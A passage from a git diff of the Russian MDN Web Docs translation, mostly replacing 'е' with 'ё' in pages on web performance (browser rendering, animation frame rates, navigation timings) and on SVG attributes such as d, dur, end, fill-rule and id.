      Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, ещё во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придётся ждать.

      Заметка: Для дополнительной информации об ускорении запуска ознакомьтесь с Optimizing startup performance.

      @@ -133,7 +133,7 @@ original_slug: Web/Performance/Основы

      Частота кадров

      -

      Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьезного контроля рендеринга и не нуждаются в темах.

      +

      Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьёзного контроля рендеринга и не нуждаются в темах.

      При отрисовывании контента в Canvas, разработчик должен сам позаботиться о достижении целей по частоте кадров, ведь он получает полный контроль над всем, что отрисовывается.

      @@ -168,7 +168,7 @@ original_slug: Web/Performance/Основы

      Вместо использования функции  animate() какой-нибудь библиотеки, которая, вероятно, использует много плохих решений (например ({{domxref("window.setTimeout()")}} или анимирование top / left), используйте CSS анимации. Во многих случаях, вы можете использовать CSS Transitions. Использование этих свойств поможет, так как браузер спроектирован так, чтобы оптимизировать эти эффекты и переносить часть вычислений на GPU, чтобы они работали плавно и с минимальным влиянием на процессор. Другое преимущество - вы можете определить эти анимации в CSS декларативным образом, а не в бизнес-логике приложения.

      -

      CSS анимации дают вам очень точный контроль эффектов, если вы используете keyframes. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с легкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.

      +

      CSS анимации дают вам очень точный контроль эффектов, если вы используете keyframes. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с лёгкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.

      Если вы хотите создавать анимации "на лету" или изменять их с помощью JavaScript, Джеймс Лонг написал простую библиотеку для этого - CSS-animations.js.

      @@ -176,7 +176,7 @@ original_slug: Web/Performance/Основы

      Вместо того, чтобы изменять абсолютное позиционирование и возиться с этой математикой вручную, используйте свойство {{cssxref("transform")}}, чтобы изменить позицию, масштаб и некоторые другие аспекты вашего контента. Именно так вы используете аппаратное ускорение. Браузер умеет передавать такие задачи графическому процессору, давая возможность ЦПУ заняться другими важными вещами.

      -

      К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью in-depth analysis of the benefits of translate(), в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с легкостью позиционировать элементы. Если вы будете использовать только top и left, вам придется написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом canvas.

      +

      К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью in-depth analysis of the benefits of translate(), в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с лёгкостью позиционировать элементы. Если вы будете использовать только top и left, вам придётся написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом canvas.

      Заметка: В некоторых случаях (в зависимости от платформы) вам может понадобиться добавить свойство translateZ(0.1), если вы хотите заставить клиента перенести вычисление анимаций на графический адаптер. Как было упомянуто выше, это может улучшить производительность, но увеличит потребление памяти. Какое из зол - меньшее - решать вам. Протестируйте оба варианта и выясните, что лучше подходит для вашего приложения.

      @@ -184,9 +184,9 @@ original_slug: Web/Performance/Основы

      Используйте requestAnimationFrame() вместо setInterval()

      -

      Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошел до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.

      +

      Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошёл до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.

      -

      Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждет, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.

      +

      Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждёт, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.

      Делайте события мгновенными

      @@ -200,7 +200,7 @@ original_slug: Web/Performance/Основы

      Общий анализ производительности

      -

      Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, Firefox's Network Monitor покажет точное время, когда произошел каждый сетевой запрос, насколько большим он был и как долго обрабатывался.

      +

      Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, Firefox's Network Monitor покажет точное время, когда произошёл каждый сетевой запрос, насколько большим он был и как долго обрабатывался.

      The Firefox network monitor showing get requests, multiple files, and different times taken to load each resource on a graph.

      @@ -222,4 +222,4 @@ original_slug: Web/Performance/Основы

      Если инструменты разработчика в Firefox или Chrome не помогают вам выяснить проблему или выглядит так, что браузеры сами по себе создают проблему, попробуйте сформировать тестовое окружение, которое максимально изолирует проблему. Это очень часто помогать диагностировать проблему.

      -

      Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчет в Bugzilla или, например, сохраните файл на своем сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.

      +

      Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчёт в Bugzilla или, например, сохраните файл на своём сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.

      diff --git a/files/ru/web/performance/how_browsers_work/index.html b/files/ru/web/performance/how_browsers_work/index.html index cda110effb..97c05dfae7 100644 --- a/files/ru/web/performance/how_browsers_work/index.html +++ b/files/ru/web/performance/how_browsers_work/index.html @@ -37,11 +37,11 @@ translation_of: Web/Performance/How_browsers_work

      DNS запрос

      -

      Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на https://example.com, браузер грузит HTML-код страницы с IP-адреса 93.184.216.34. Если вы никогда ранее не были на этом сайте, произойдет поиск DNS записи.

      +

      Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на https://example.com, браузер грузит HTML-код страницы с IP-адреса 93.184.216.34. Если вы никогда ранее не были на этом сайте, произойдёт поиск DNS записи.

      Ваш браузер запрашивает DNS запись. Как правило, запрос содержит имя сервера, который должен быть преобразован в IP-адрес. Ответ на этот запрос какое-то время будет сохранён в кэше устройства, чтобы его можно было быстро получить при следующем запросе к тому же серверу.

      -

      DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счетчики аналитики находятся на разных доменах, DNS запрос будет осуществлен для каждого из них.

      +

      DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счётчики аналитики находятся на разных доменах, DNS запрос будет осуществлён для каждого из них.

      Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet

      @@ -93,7 +93,7 @@ translation_of: Web/Performance/How_browsers_work

      Объём первого пакета данных - всегда 14KB. Это часть спецификации {{glossary('TCP slow start')}} - алгоритма, который балансирует скорость соединения. Такое правило позволяет постепенно, по мере необходимости, увеличивать размеры передаваемых данных, пока не будет определена максимальная ширина канала.

      -

      В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрется в проблему переполнения.

      +

      В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрётся в проблему переполнения.

      TCP slow start

      @@ -101,7 +101,7 @@ translation_of: Web/Performance/How_browsers_work

      Контроль переполнения

      -

      Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведет к лишней работе сервера и дополнительной нагрузке сети.

      +

      Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведёт к лишней работе сервера и дополнительной нагрузке сети.

      Парсинг

      @@ -121,11 +121,11 @@ translation_of: Web/Performance/How_browsers_work

      The DOM tree for our sample code, showing all the nodes, including text nodes.

      -

      Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <script>, особенно если он без параметров async или defer - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объемные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.

      +

      Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <script>, особенно если он без параметров async или defer - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объёмные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.

      Сканер предзагрузки

      -

      Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдет до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.

      +

      Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдёт до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.

      <link rel="stylesheet" src="styles.css"/>
       <script src="myscript.js" async></script>
      @@ -141,7 +141,7 @@ translation_of: Web/Performance/How_browsers_work
       
       

      Построение модели стилей CSSOM

      -

      Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создает дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.

      +

      Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создаёт дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.

      Как и в HTML, браузер должен преобразовать полученные правила CSS во что-то, с чем он может работать. Таким образом, весь этот процесс - это повторение формирования DOM, только для CSS.

      @@ -169,9 +169,9 @@ translation_of: Web/Performance/How_browsers_work

      Третий шаг в критическом пути рендеринга - это комбинирование DOM и CSSOM в дерево рендеринга. Конструирование этого дерева начинается с прохода всего DOM-дерева от корня, с выявлением каждого видимого узла.

      -

      Элементы, которые не должны быть показаны, например, <head>, а так же их дети или любые элементы с display:none, такие как script { display: none; }, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом visibility: hidden включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел script в примере выше также не будет включен в дерево рендера.

      +

      Элементы, которые не должны быть показаны, например, <head>, а так же их дети или любые элементы с display:none, такие как script { display: none; }, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом visibility: hidden включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел script в примере выше также не будет включён в дерево рендера.

      -

      Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путем применения всех подходящих правил с использованием CSS каскада.

      +

      Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путём применения всех подходящих правил с использованием CSS каскада.

      Компоновка (Layout)

      @@ -181,7 +181,7 @@ translation_of: Web/Performance/How_browsers_work

      На веб-странице практически все элементы прямоугольны (box). Разные устройства и настройки подразумевают бесчисленное количество разных размеров видимой области. На начальной фазе браузер, учитывая размер видимой области, определяет какие размеры разных элементов должны быть на экране. Использует размер видимой области как базис, процесс начинает вычисление с элемента body, затем переходит к его потомкам, вычисляет размеры каждого элемента и резервирует место для тех элементов, размеры которых он ещё не знает (например, изображения).

      -

      Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдет reflow.

      +

      Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдёт reflow.

      Отрисовка (Paint)

      @@ -189,7 +189,7 @@ translation_of: Web/Performance/How_browsers_work

      Чтобы обеспечить плавную прокрутку и анимацию, отрисовка каждого элемента занимает весь основной поток. Сюда включается вычисление стилей, повторное вычисление стилей и отрисовка. Все эти этапы должны выполняться не дольше 16.67 мс. (1000мс. / 60 кадров в секунду). При разрешении 2048х1536 экран iPad содержит 3.145.000 пикселей, которые должны быть отрисованы. Это много! Для того, чтобы сделать инициирующую и повторную отрисовки быстрее, можно разбить весь процесс на несколько слоёв. Когда это случается - становится необходима композиция.

      -

      Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоев на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <video> и <canvas>; а также CSS-свойства opacity, transform и will-change. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.

      +

      Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоёв на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <video> и <canvas>; а также CSS-свойства opacity, transform и will-change. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.

      Слои улучшают производительность. Но, с точки зрения управления памяти, они неэффективны. Поэтому старайтесь не использовать их там, где в нет необходимости.

      diff --git a/files/ru/web/performance/how_long_is_too_long/index.html b/files/ru/web/performance/how_long_is_too_long/index.html index 37a17d18e9..e53c2f96a4 100644 --- a/files/ru/web/performance/how_long_is_too_long/index.html +++ b/files/ru/web/performance/how_long_is_too_long/index.html @@ -13,7 +13,7 @@ translation_of: Web/Performance/How_long_is_too_long

      Загрузка контента

      -

      Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймет, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.

      +

      Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймёт, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.

      Как правило, первый ресурс, который получает клиент - это HTML документ, который затем делает запрос на загрузку остальных ресурсов. Как было подмечено в статье о критическом пути рендеринга - как только браузер получает данные, он сразу начинает их обработку, вместо того, чтобы дожидаться загрузки всех ресурсов.

      @@ -27,7 +27,7 @@ translation_of: Web/Performance/How_long_is_too_long

      Анимация

      -

      Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создает впечатление зависающего приложения.

      +

      Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создаёт впечатление зависающего приложения.

      Отзывчивость

      diff --git a/files/ru/web/performance/index.html b/files/ru/web/performance/index.html index 82f34d4d7a..5eb18aa302 100644 --- a/files/ru/web/performance/index.html +++ b/files/ru/web/performance/index.html @@ -19,9 +19,9 @@ tags: - Web Performance translation_of: Web/Performance --- -

      Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учета всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".

      +

      Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учёта всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".

      -

      Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счет неочевидных хитростей, например, за счет асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". 

      +

      Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счёт неочевидных хитростей, например, за счёт асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". 

      Существуют инструменты измерения производительности, API и лучшие практики, которые помогут нам измерять и улучшать производительность. Мы постараемся раскрыть их в следующей секции:

      diff --git a/files/ru/web/performance/navigation_and_resource_timings/index.html b/files/ru/web/performance/navigation_and_resource_timings/index.html index 2fc612aca0..3dbae7164f 100644 --- a/files/ru/web/performance/navigation_and_resource_timings/index.html +++ b/files/ru/web/performance/navigation_and_resource_timings/index.html @@ -76,12 +76,12 @@ translation_of: Web/Performance/Navigation_and_resource_timings
      {{domxref("PerformanceTiming.domainLookupEnd","domainLookupEnd")}} -

      Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и PerformanceTiming.fetchStart.

      +

      Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохранённые в локальном кэше, то значение показателя будет таким же, как и PerformanceTiming.fetchStart.

      {{domxref("PerformanceTiming.domainLookupStart","domainLookupStart")}}Начался поиск домена. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и PerformanceTiming.fetchStart.Начался поиск домена. Если используется постоянное соединение, или используются данные, сохранённые в локальном кэше, то значение показателя будет таким же, как и PerformanceTiming.fetchStart.
      {{domxref("PerformanceTiming.fetchStart","fetchStart")}}
      -

      Сноска: Точка происхождения (координата 0,0) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет свое происхождение в левом нижнем углу своего бокса.

      +

      Сноска: Точка происхождения (координата 0,0) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет своё происхождение в левом нижнем углу своего бокса.

      missing-glyph

      @@ -122,9 +122,9 @@ translation_of: Web/SVG/Attribute/d

      (MoveTo path commands)

      -

      MoveTo инструкции можно рассматривать как собирание чертежного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.

      +

      MoveTo инструкции можно рассматривать как собирание чертёжного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.

      -

      Заметка: Хорошей практикой является открытие всех путей с помощью команды moveto, потому что без начального moveto команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределенному поведению.

      +

      Заметка: Хорошей практикой является открытие всех путей с помощью команды moveto, потому что без начального moveto команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределённому поведению.

      @@ -188,7 +188,7 @@ translation_of: Web/SVG/Attribute/d diff --git a/files/ru/web/svg/attribute/dur/index.html b/files/ru/web/svg/attribute/dur/index.html index 7c28a1e8cc..9cd47365ff 100644 --- a/files/ru/web/svg/attribute/dur/index.html +++ b/files/ru/web/svg/attribute/dur/index.html @@ -54,7 +54,7 @@ translation_of: Web/SVG/Attribute/dur
      <clock-value>
      -
      Задает длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (h), минутах (m), секундах (s) или миллисекундах (ms). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: hh:mm:ss.iii или  mm:ss.iii
      +
      Задаёт длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (h), минутах (m), секундах (s) или миллисекундах (ms). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: hh:mm:ss.iii или  mm:ss.iii
      media
      Задаёт простую длительность, как длительность, свойственной медиа. Это валидно только для элементов, которые определяют media.
      indefinite
      @@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/dur
      -

      Примечание: Интерполяция не будет работать, если простая длительность остается неопределенной (хотя это может быть полезно для элементов {{ SVGElement("set") }}).

      +

      Примечание: Интерполяция не будет работать, если простая длительность остаётся неопределённой (хотя это может быть полезно для элементов {{ SVGElement("set") }}).

      Спецификации

      diff --git a/files/ru/web/svg/attribute/end/index.html b/files/ru/web/svg/attribute/end/index.html index c4db1e943f..8b0b8d3003 100644 --- a/files/ru/web/svg/attribute/end/index.html +++ b/files/ru/web/svg/attribute/end/index.html @@ -7,7 +7,7 @@ translation_of: Web/SVG/Attribute/end

      Этот атрибут определяет конечное значение для анимации, которое может ограничить активную длительность.

      -

      Значение атрибута представляет собой разделенный точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определенным для {{ SVGAttr("begin") }} атрибута .

      +

      Значение атрибута представляет собой разделённый точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определённым для {{ SVGAttr("begin") }} атрибута .

      Usage context

      @@ -32,7 +32,7 @@ translation_of: Web/SVG/Attribute/end
      L (x, y)+ -

      Рисует линию из текущей точки в конечную точку определенную x,y. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (L). Формула: Po' = Pn = {xy}

      +

      Рисует линию из текущей точки в конечную точку определённую x,y. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (L). Формула: Po' = Pn = {xy}

      -

      Для типов значений, разрешенных в, <end-value-list> см.  {{ SVGAttr("begin") }} атрибут.

      +

      Для типов значений, разрешённых в, <end-value-list> см.  {{ SVGAttr("begin") }} атрибут.

      Examples

      diff --git a/files/ru/web/svg/attribute/fill-rule/index.html b/files/ru/web/svg/attribute/fill-rule/index.html index d83dad58c3..b7c3a793e0 100644 --- a/files/ru/web/svg/attribute/fill-rule/index.html +++ b/files/ru/web/svg/attribute/fill-rule/index.html @@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/fill-rule

      Note: Атрибут представления, fill-rule может быть использован как CSS свойство.

      -

      Как атрибут представления, он может быть применен к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}

      +

      Как атрибут представления, он может быть применён к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}

    Предостережения

    diff --git a/files/ru/web/svg/attribute/id/index.html b/files/ru/web/svg/attribute/id/index.html index 54590a4cd4..a8071bb93f 100644 --- a/files/ru/web/svg/attribute/id/index.html +++ b/files/ru/web/svg/attribute/id/index.html @@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/id
    <id>
    -

    Задает идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать  никаких пробелов.

    +

    Задаёт идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать  никаких пробелов.

    Примечание: Следует избегать использование значений идентификатора, которые будут анализироваться как спецификация представления SVG (например, MyDrawing.svg#svgView(viewBox(0,200,1000,1000))) или базовый фрагмент мультимедиа при использовании в качестве целевого фрагмента URL.

    diff --git a/files/ru/web/svg/attribute/index.html b/files/ru/web/svg/attribute/index.html index 7d05b490e8..390328c17f 100644 --- a/files/ru/web/svg/attribute/index.html +++ b/files/ru/web/svg/attribute/index.html @@ -12,7 +12,7 @@ translation_of: Web/SVG/Attribute ---

    « SVG / Справочник SVG элементов »

    -

    Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведен список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.

    +

